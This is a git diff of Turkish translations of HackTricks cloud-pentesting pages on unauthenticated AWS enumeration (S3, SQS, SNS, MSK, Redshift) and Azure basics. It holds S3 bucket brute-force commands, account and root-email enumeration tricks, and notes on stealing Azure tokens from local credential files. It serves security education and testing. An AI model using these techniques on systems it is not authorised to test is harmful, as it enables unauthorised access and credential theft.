a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 0ba3ca528..9a2f85a53 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -6,7 +6,7 @@ **Kafka aracısını genel olarak açmak mümkündür**, ancak **kimlik bilgilerine**, IAM izinlerine veya geçerli bir sertifikaya ihtiyacınız olacak (yapılandırılan kimlik doğrulama yöntemine bağlı olarak). -Ayrıca **kimlik doğrulamayı devre dışı bırakmak da mümkündür**, ancak bu durumda **portu doğrudan** İnternete açmak **mümkün değildir**. +Ayrıca **kimlik doğrulamayı devre dışı bırakmak da mümkündür**, ancak bu durumda **portu doğrudan İnternete açmak mümkün değildir**. ### Genel URL şablonu ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index dae7a63f8..38cb54ae9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Kamuya Açık URL şablonu +### Kamu URL şablonu ``` {user_provided}...redshift.amazonaws.com ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 8c60311eb..cb4c4da2e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -## S3 Kamu Bucket'ları +## S3 Kamuya Açık Kovalara -Bir bucket, **herhangi bir kullanıcının** bucket'ın içeriğini listeleyebilmesi durumunda **“kamu”** olarak kabul edilir ve **sadece belirli kullanıcılar tarafından** bucket'ın içeriğinin **listeleyip yazılabildiği** durumlarda **“özel”** olarak kabul edilir. +Bir kova, **herhangi bir kullanıcının** içeriğini listeleyebildiği durumda **“kamuya açık”** olarak kabul edilir ve **sadece belirli kullanıcılar tarafından** içeriği listeleyip yazılabiliyorsa **“özel”** olarak kabul edilir. -Şirketler, AWS'deki herhangi bir hesapta **her şeye veya herkese** erişim sağlayan **bucket izinlerini yanlış yapılandırmış** olabilir (yani, herkese). Bu tür yanlış yapılandırmalarda, bucket'ların kendi erişim kontrol listeleri (ACL'ler) olabileceğinden bazı eylemlerin gerçekleştirilemeyeceğini unutmayın. +Şirketlerin **kova izinleri yanlış yapılandırılmış** olabilir, bu da her şeye veya AWS'de herhangi bir hesapta kimliği doğrulanmış herkesin erişimine izin verebilir (yani herkese). Bu tür yanlış yapılandırmalarda, bazı eylemlerin gerçekleştirilemeyebileceğini unutmayın, çünkü kovaların kendi erişim kontrol listeleri (ACL'ler) olabilir. **AWS-S3 yanlış yapılandırması hakkında bilgi edinin:** [**http://flaws.cloud**](http://flaws.cloud/) **ve** [**http://flaws2.cloud/**](http://flaws2.cloud) -### AWS Bucket'larını Bulma +### AWS Kovalara Ulaşma Bir web sayfasının bazı kaynakları depolamak için AWS kullanıp kullanmadığını bulmanın farklı yöntemleri: #### Enum ve OSINT: - **wappalyzer** tarayıcı eklentisini kullanma -- Burp kullanarak (**web'i tarama**) veya sayfada manuel olarak gezinerek tüm **yüklenen kaynaklar** Geçmiş'e kaydedilecektir. +- burp kullanarak (**web'i tarama**) veya sayfada manuel olarak gezerek tüm **yüklenen kaynaklar** Geçmiş'e kaydedilecektir. - **Kaynakları kontrol et** şu alanlarda: ``` @@ -25,19 +25,19 @@ http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- `resources.domain.com` gibi **CNAMES** kontrol edin, bu CNAME `bucket.s3.amazonaws.com` olabilir. -- Zaten **keşfedilmiş açık bucket'lar** ile bir web olan [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) adresini kontrol edin. -- **bucket adı** ve **bucket alan adı** **aynı olmalıdır.** -- **flaws.cloud** **IP** 52.92.181.107'dir ve oraya giderseniz sizi [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) adresine yönlendirir. Ayrıca, `dig -x 52.92.181.107` komutu `s3-website-us-west-2.amazonaws.com` verir. -- Bir bucket olup olmadığını kontrol etmek için [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) adresini de **ziyaret edebilirsiniz**. +- **CNAMES** kontrol edin, çünkü `resources.domain.com` CNAME `bucket.s3.amazonaws.com` olabilir +- [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/)'u kontrol edin, zaten **keşfedilmiş açık kovalara** sahip bir web. +- **kova adı** ve **kova alan adı** **aynı olmalıdır.** +- **flaws.cloud** **IP** 52.92.181.107'dir ve oraya giderseniz [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/) adresine yönlendirir. Ayrıca, `dig -x 52.92.181.107` `s3-website-us-west-2.amazonaws.com` verir. +- Bir kova olup olmadığını kontrol etmek için [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/) adresini de **ziyaret edebilirsiniz**. #### Kaba Kuvvet -Kaba kuvvet kullanarak, pentesting yaptığınız şirketle ilgili **isimleri zorlayarak** bucket'ları bulabilirsiniz: +Kovaları, test ettiğiniz şirketle ilgili **isimleri kaba kuvvetle deneyerek** bulabilirsiniz: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Potansiyel bucket adları içeren bir liste içerir) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Potansiyel kova adları içeren bir liste içerir) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -50,13 +50,13 @@ curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt -# Test etmek için alanlar ve alt alanlar temelinde bir kelime listesi oluştur -## Bu alanları ve alt alanları subdomains.txt dosyasına yazın +# Test etmek için alan adları ve alt alan adlarına dayalı bir kelime listesi oluştur +## Bu alan adlarını ve alt alan adlarını subdomains.txt dosyasına yazın cat subdomains.txt > /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt -# Saldırı için alanlar ve alt alanlar içeren bir listeye dayalı permutasyonlar oluştur +# Saldırı için alan adları ve alt alan adları ile bir listeye dayalı permutasyonlar oluştur goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp ## Önceki araç, alt alanlar için permutasyonlar oluşturma konusunda uzmanlaşmıştır, bu listeyi filtreleyelim ### "." ile biten satırları kaldır @@ -75,9 +75,9 @@ cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep bucket_exists
-#### S3 Bucket'larından Loot +#### S3 Kovalardan Hırsızlık -Açık S3 bucket'ları verildiğinde, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) otomatik olarak **ilginç bilgileri arayabilir**. +Açık S3 kovalara sahip olduğunuzda, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) otomatik olarak **ilginç bilgileri arayabilir**. ### Bölgeyi Bulma @@ -85,7 +85,7 @@ AWS tarafından desteklenen tüm bölgeleri [**https://docs.aws.amazon.com/gener #### DNS ile -Bir bucket'ın bölgesini, keşfedilen IP'nin **DNS isteğini** yaparak **`dig`** ve **`nslookup`** ile alabilirsiniz: +Bir kovanın bölgesini **`dig`** ve **`nslookup`** kullanarak, keşfedilen IP'nin **DNS isteğini** yaparak alabilirsiniz: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -95,9 +95,9 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Kontrol edin ki çözümlenen alan adında "website" kelimesi var.\ -Statik web sitesine erişmek için: `flaws.cloud.s3-website-us-west-2.amazonaws.com` adresine gidebilirsiniz\ -veya kovaya erişmek için: `flaws.cloud.s3-us-west-2.amazonaws.com` adresini ziyaret edebilirsiniz. +Çözümlemenin yapıldığı alan adının "website" kelimesini içerdiğinden emin olun.\ +Statik web sitesine şu adresten erişebilirsiniz: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +veya kovaya erişmek için şu adresi ziyaret edebilirsiniz: `flaws.cloud.s3-us-west-2.amazonaws.com` #### Deneyerek @@ -105,7 +105,7 @@ Bir kovaya erişmeye çalıştığınızda, ancak **belirttiğiniz alan adında ![](<../../../images/image (106).png>) -### Kovanın Enumerasyonu +### Kovayı Listeleme Kovanın açıklığını test etmek için bir kullanıcı sadece URL'yi web tarayıcısına girebilir. Özel bir kova "Erişim Reddedildi" yanıtı verir. Kamuya açık bir kova, depolanan ilk 1.000 nesneyi listeleyecektir. @@ -146,9 +146,9 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -Bu teknik, API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile çalışır ve hatta etiketlerin değerini almak için (etiket anahtarını biliyorsanız) kullanılabilir. Daha fazla bilgi için [**orijinal araştırma**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracını bulabilirsiniz. +Bu teknik, API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile birlikte çalışır ve hatta etiketlerin değerini almak için (etiket anahtarını biliyorsanız) kullanılabilir. Daha fazla bilgi için [**orijinal araştırmaya**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) ve bu istismarı otomatikleştirmek için [**conditional-love**](https://github.com/plerionhq/conditional-love/) aracına bakabilirsiniz. -### Bir bucket'ın AWS hesabına ait olduğunu doğrulama +### Bir bucket'ın bir AWS hesabına ait olduğunu doğrulama [**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, **bir bucket'ı listeleme izinleriniz varsa** bir isteği göndererek bucket'ın ait olduğu accountID'yi doğrulamak mümkündür: ```bash @@ -160,9 +160,9 @@ curl -X GET "[bucketname].amazonaws.com/" \ ``` Eğer hata “Erişim Reddedildi” ise, bu hesap kimliğinin yanlış olduğu anlamına gelir. -### Root hesap numaralandırması için Kullanılan E-postalar +### Root hesap numaralandırması olarak kullanılan e-postalar -[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını **bir e-posta adresine S3 bucket üzerinde ACL'ler aracılığıyla izin vermeyi deneyerek** kontrol etmek mümkündür. Eğer bu bir hata tetiklemiyorsa, bu e-posta bazı AWS hesaplarının root kullanıcısıdır: +[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını **bir S3 bucket üzerinde e-posta izinleri vermeyi deneyerek** kontrol etmek mümkündür. Eğer bu bir hata tetiklemiyorsa, bu e-postanın bazı AWS hesaplarının root kullanıcısı olduğu anlamına gelir: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index c135f768c..a06eb7365 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SNS Kimlik Doğrulamasız Enum +# AWS - SNS Kimlik Doğrulaması Olmadan Enum {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ SNS hakkında daha fazla bilgi için kontrol edin: ### Herkese Açık -Web konsolundan bir SNS konusu yapılandırdığınızda, **Herkesin yayın yapabileceğini ve abone olabileceğini** belirtmek mümkündür: +Web konsolundan bir SNS konusunu yapılandırdığınızda, **Herkesin yayın yapabileceği ve abone olabileceği** belirtilebilir:
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index 9fbcd1f65..6ea05208d 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -16,6 +16,6 @@ https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` ### İzinleri Kontrol Et -Bir SQS kuyruk politikasını yanlış yapılandırmak ve AWS'deki herkese mesaj gönderme ve alma izni vermek mümkündür, bu nedenle kuyrukların ARN'sini alırsanız onlara erişip erişemeyeceğinizi deneyin. +Bir SQS kuyruk politikasını yanlış yapılandırmak ve AWS'deki herkesin mesaj göndermesine ve almasına izin vermek mümkündür, bu nedenle kuyrukların ARN'sini alırsanız onlara erişip erişemeyeceğinizi deneyin. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 8c12c1908..33d7c7c0e 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -12,7 +12,7 @@ az-basic-information/ Bir AZURE ortamını denetlemek için bilmek çok önemlidir: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç Azure hizmetleri ile **dış hizmetlerin** nasıl bağlandığı. -Kırmızı Takım bakış açısından, bir Azure ortamını ele geçirmenin **ilk adımı**, Azure AD için bazı **kimlik bilgilerini** elde etmektir. Bunu yapmanın bazı yolları şunlardır: +Kırmızı takım açısından, bir Azure ortamını ele geçirmenin **ilk adımı**, Azure AD için bazı **kimlik bilgilerini** elde etmektir. Bunu yapmanın bazı yolları şunlardır: - GitHub'daki **sızıntılar** (veya benzeri) - OSINT - **Sosyal** Mühendislik @@ -22,10 +22,10 @@ Kırmızı Takım bakış açısından, bir Azure ortamını ele geçirmenin **i - **Yerel Dosya Okuma** - `/home/KULLANICI_ADI/.azure` - `C:\Users\KULLANICI_ADI\.azure` -- **`accessTokens.json`** dosyası `az cli` 2.30'dan önce - Ocak 2022 - **açık metin** olarak **erişim jetonları** saklıyordu +- **`accessTokens.json`** dosyası `az cli` 2.30'dan önce - Ocak 2022 - **erişim jetonlarını düz metin** olarak saklıyordu - **`azureProfile.json`** dosyası, oturum açmış kullanıcı hakkında **bilgi** içerir. - **`az logout`** jetonu kaldırır. -- Eski sürümler **`Az PowerShell`**, **`TokenCache.dat`** dosyasında **erişim jetonlarını** **açık** metin olarak saklıyordu. Ayrıca **`AzureRmContext.json`** dosyasında **ServicePrincipalSecret**'i **açık** metin olarak saklar. **`Save-AzContext`** cmdlet'i **jetonları** **saklamak** için kullanılabilir.\ +- Eski **`Az PowerShell`** sürümleri, **erişim jetonlarını** **düz** metin olarak **`TokenCache.dat`** içinde saklıyordu. Ayrıca **ServicePrincipalSecret**'i **düz** metin olarak **`AzureRmContext.json`** içinde saklar. **`Save-AzContext`** cmdlet'i **jetonları** **saklamak** için kullanılabilir.\ `Disconnect-AzAccount` kullanarak bunları kaldırın. - 3. taraflar **ihlal edildi** - **İç** Çalışan @@ -33,14 +33,14 @@ Kırmızı Takım bakış açısından, bir Azure ortamını ele geçirmenin **i - [Cihaz Kodu Kimlik Doğrulama Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Şifre Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Azure kiracısında **hiçbir kullanıcıyı ele geçirmediyseniz** bile, ondan **bazı bilgiler** toplayabilirsiniz: +Eğer saldırdığınız Azure kiracısında **hiçbir kullanıcıyı ele geçirmediyseniz**, yine de ondan **bazı bilgiler** toplayabilirsiniz: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmanız gerekir: +> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız: ## Temel Sayım @@ -49,7 +49,7 @@ az-unauthenticated-enum-and-initial-entry/ ### SSRF -Azure içindeki bir makinede bir SSRF bulursanız, bu sayfayı hileler için kontrol edin: +Azure içindeki bir makinede bir SSRF bulursanız, ipuçları için bu sayfayı kontrol edin: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -64,9 +64,9 @@ Geçerli kimlik bilgilerine sahip olduğunuz ancak giriş yapamadığınız duru - **IP beyaz listeleme** -- Geçerli bir IP'yi ele geçirmeniz gerekir - **Coğrafi kısıtlamalar** -- Kullanıcının nerede yaşadığını veya şirketin ofislerinin nerede olduğunu bulup aynı şehirden (veya en azından aynı ülkeden) bir IP alın - **Tarayıcı** -- Belki de yalnızca belirli bir işletim sisteminden (Windows, Linux, Mac, Android, iOS) bir tarayıcıya izin verilmektedir. Kurbanın/şirketin hangi işletim sistemini kullandığını öğrenin. -- Ayrıca, genellikle daha az sınırlı olan ve girişinin daha az incelendiği **Hizmet Prensibi kimlik bilgilerini** ele geçirmeyi de deneyebilirsiniz. +- Ayrıca, genellikle daha az sınırlı olan ve girişinin daha az incelendiği **Service Principal kimlik bilgilerini** ele geçirmeyi de deneyebilirsiniz. -Bunu aştıktan sonra, başlangıç ayarlarınıza geri dönebilir ve hala erişiminiz olabilir. +Bunu aştıktan sonra, başlangıç ayarınıza geri dönebilir ve hala erişiminiz olabilir. ### Alt Alan Ele Geçirme @@ -75,7 +75,7 @@ Bunu aştıktan sonra, başlangıç ayarlarınıza geri dönebilir ve hala eriş ### Whoami > [!CAUTION] -> [**Az - Entra ID**](az-services/az-azuread.md) bölümünde az cli, AzureAD ve Az PowerShell'i **nasıl kuracağınızı** öğrenin. +> az cli, AzureAD ve Az PowerShell'i [**Az - Entra ID**](az-services/az-azuread.md) bölümünde **nasıl kuracağınızı** öğrenin. Bilmeniz gereken ilk şey **kim olduğunuzdur** (hangi ortamda olduğunuz): @@ -120,7 +120,7 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> Azure'ı listelemek için en önemli komutlardan biri **`Get-AzResource`**'dır, çünkü bu komut **mevcut kullanıcınızın görünürlüğü olan kaynakları bilmenizi sağlar**. +> Azure'ı listelemek için en önemli komutlardan biri **`Get-AzResource`**'dir, çünkü bu komut **mevcut kullanıcınızın görünürlüğü olan kaynakları bilmenizi sağlar**. > > Aynı bilgiyi **web konsolunda** [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) adresine giderek veya "Tüm kaynaklar" araması yaparak alabilirsiniz. @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını anlamanın zamanı geldi.\ +> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım üyesiyseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını anlamanın zamanı geldi.\ > Aşağıdaki bölümde **bazı yaygın hizmetleri listelemek için bazı yolları** kontrol edebilirsiniz. ## App Service SCM @@ -143,7 +143,7 @@ App Service 'konteynerine' giriş yapmak için Kudu konsolu. ## Webshell -portal.azure.com'u kullanın ve shell'i seçin veya bash veya powershell için shell.azure.com'u kullanın. Bu shell'in 'diskleri', bir depolama hesabında bir görüntü dosyası olarak saklanır. +portal.azure.com'u kullanarak shell'i seçin veya bash veya powershell için shell.azure.com'u kullanın. Bu shell'in 'diskleri', bir depolama hesabında bir görüntü dosyası olarak saklanır. ## Azure DevOps diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index fdfc93443..59fcf4388 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -9,12 +9,12 @@ ### Yönetim Grupları - **Diğer yönetim gruplarını veya abonelikleri** içerebilir. -- Bu, yönetim grubu düzeyinde **yönetim kontrollerinin** (RBAC ve Azure Policy gibi) bir kez uygulanmasını ve bunların gruptaki tüm abonelikler tarafından **devralınmasını** sağlar. +- Bu, yönetim grubu düzeyinde RBAC ve Azure Policy gibi **yönetim kontrollerinin uygulanmasına** olanak tanır ve bunların grup içindeki tüm abonelikler tarafından **devralınmasını** sağlar. - Tek bir dizinde **10.000 yönetim** grubu desteklenebilir. - Bir yönetim grubu ağacı **altı seviyeye kadar derinliği** destekleyebilir. Bu sınır, kök düzeyini veya abonelik düzeyini içermez. - Her yönetim grubu ve abonelik **sadece bir ebeveyn** destekleyebilir. - Birden fazla yönetim grubu oluşturulabilse de **sadece 1 kök yönetim grubu** vardır. -- Kök yönetim grubu, **diğer tüm yönetim gruplarını ve abonelikleri** **içerir** ve **taşınamaz veya silinemez**. +- Kök yönetim grubu **tüm** **diğer yönetim gruplarını ve abonelikleri** **içerir** ve **taşınamaz veya silinemez**. - Tek bir yönetim grubundaki tüm abonelikler **aynı Entra ID kiracısına** güvenmelidir.

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

@@ -28,9 +28,9 @@ ### Kaynak Grupları -[Belgelerden:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Bir kaynak grubu, bir Azure çözümü için **ilişkili kaynakları** tutan bir **konteynerdir**. Kaynak grubu, çözüm için tüm kaynakları veya yalnızca **bir grup olarak yönetmek istediğiniz kaynakları** içerebilir. Genel olarak, **aynı yaşam döngüsüne** sahip **kaynakları** aynı kaynak grubuna ekleyin, böylece bunları grup olarak kolayca dağıtabilir, güncelleyebilir ve silebilirsiniz. +[Belgelerden:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Bir kaynak grubu, bir Azure çözümü için **ilişkili kaynakları** tutan bir **konteynerdir**. Kaynak grubu, çözüm için tüm kaynakları veya yalnızca **bir grup olarak yönetmek istediğiniz kaynakları** içerebilir. Genel olarak, aynı yaşam döngüsünü paylaşan **kaynakları** aynı kaynak grubuna ekleyin, böylece bunları grup olarak kolayca dağıtabilir, güncelleyebilir ve silebilirsiniz. -Tüm **kaynaklar** bir kaynak grubunun **içinde** olmalı ve yalnızca bir gruba ait olabilir; eğer bir kaynak grubu silinirse, içindeki tüm kaynaklar da silinir. +Tüm **kaynaklar** **bir kaynak grubunun içinde** olmalı ve yalnızca bir gruba ait olabilir ve bir kaynak grubu silinirse, içindeki tüm kaynaklar da silinir.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -42,7 +42,7 @@ Bir Azure Kaynak Kimliğinin formatı şu şekildedir: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -`myResourceGroup` kaynak grubunda `myVM` adında bir sanal makine için, Azure Kaynak Kimliği şu şekilde görünür: +`myResourceGroup` kaynak grubunda `myVM` adında bir sanal makine için, abonelik kimliği `12345678-1234-1234-1234-123456789012` altında, Azure Kaynak Kimliği şu şekilde görünür: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -50,32 +50,32 @@ Bir Azure Kaynak Kimliğinin formatı şu şekildedir: ### Azure -Azure, sanal makineler, veritabanları, yapay zeka ve depolama gibi çok çeşitli hizmetler sunan Microsoft'un kapsamlı **bulut bilişim platformudur**. Uygulamaları barındırmak ve yönetmek, ölçeklenebilir altyapılar oluşturmak ve bulutta modern iş yüklerini çalıştırmak için bir temel görevi görür. Azure, geliştiricilerin ve BT profesyonellerinin uygulamaları ve hizmetleri sorunsuz bir şekilde oluşturmasına, dağıtmasına ve yönetmesine olanak tanır ve ihtiyaçları olan her türlü kullanıcıya hitap eder. +Azure, Microsoft'un kapsamlı **bulut bilişim platformudur, geniş bir hizmet yelpazesi sunar**, sanal makineler, veritabanları, yapay zeka ve depolama dahil. Uygulamaları barındırmak ve yönetmek, ölçeklenebilir altyapılar oluşturmak ve bulutta modern iş yüklerini çalıştırmak için bir temel görevi görür. Azure, geliştiricilerin ve BT profesyonellerinin uygulamaları ve hizmetleri sorunsuz bir şekilde oluşturmasına, dağıtmasına ve yönetmesine olanak tanır ve ihtiyaçları startup'lardan büyük işletmelere kadar çeşitlilik gösterir. ### Entra ID (eski adıyla Azure Active Directory) -Entra ID, kimlik doğrulama, yetkilendirme ve kullanıcı erişim kontrolünü yönetmek için tasarlanmış bulut tabanlı bir **kimlik ve erişim yönetim hizmetidir**. Office 365, Azure ve birçok üçüncü taraf SaaS uygulamaları gibi Microsoft hizmetlerine güvenli erişim sağlar. Tek oturum açma (SSO), çok faktörlü kimlik doğrulama (MFA) ve koşullu erişim politikaları gibi özellikler sunar. +Entra ID, kimlik doğrulama, yetkilendirme ve kullanıcı erişim kontrolünü yönetmek için tasarlanmış bulut tabanlı bir **kimlik ve erişim yönetim hizmetidir**. Office 365, Azure ve birçok üçüncü taraf SaaS uygulaması gibi Microsoft hizmetlerine güvenli erişimi sağlar. Tek oturum açma (SSO), çok faktörlü kimlik doğrulama (MFA) ve koşullu erişim politikaları gibi özellikler sunar. ### Entra Alan Hizmetleri (eski adıyla Azure AD DS) -Entra Alan Hizmetleri, Entra ID'nin yeteneklerini, **geleneksel Windows Active Directory ortamlarıyla uyumlu yönetilen alan hizmetleri** sunarak genişletir. LDAP, Kerberos ve NTLM gibi eski protokolleri destekler ve kuruluşların eski uygulamaları bulutta çalıştırmasına veya taşımalarına olanak tanır. Bu hizmet ayrıca merkezi yönetim için Grup İlkesi'ni destekler, böylece eski veya AD tabanlı iş yüklerinin modern bulut ortamlarıyla bir arada var olması gereken senaryolar için uygundur. +Entra Alan Hizmetleri, Entra ID'nin yeteneklerini, **geleneksel Windows Active Directory ortamlarıyla uyumlu yönetilen alan hizmetleri** sunarak genişletir. LDAP, Kerberos ve NTLM gibi eski protokolleri destekler, böylece kuruluşların bulutta eski uygulamaları çalıştırmasına veya taşınmasına olanak tanır. Bu hizmet ayrıca merkezi yönetim için Grup İlkesi'ni destekler, böylece eski veya AD tabanlı iş yüklerinin modern bulut ortamlarıyla bir arada var olması gereken senaryolar için uygundur. -## Entra ID İlkeleri +## Entra ID Prensipleri ### Kullanıcılar - **Yeni kullanıcılar** - Seçilen kiracıdan e-posta adı ve alanı belirtin -- Görüntüleme adını belirtin -- Şifreyi belirtin +- Görünen adı belirtin +- Şifre belirtin - Özellikleri belirtin (isim, iş unvanı, iletişim bilgileri…) -- Varsayılan kullanıcı türü “**üye**”dir. +- Varsayılan kullanıcı türü “**üye**”dir - **Dış kullanıcılar** -- Davet edilecek e-posta ve görüntüleme adını belirtin (Microsoft dışı bir e-posta olabilir) +- Davet edilecek e-posta ve görünen adı belirtin (Microsoft dışı bir e-posta olabilir) - Özellikleri belirtin -- Varsayılan kullanıcı türü “**Misafir**”dir. +- Varsayılan kullanıcı türü “**Misafir**”dir -### Üyeler ve Misafirlerin Varsayılan İzinleri +### Üyeler & Misafirlerin Varsayılan İzinleri Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) adresinde kontrol edebilirsiniz, ancak diğer eylemler arasında bir üye şunları yapabilir: @@ -83,17 +83,17 @@ Bunları [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-per - Misafirleri davet edebilir 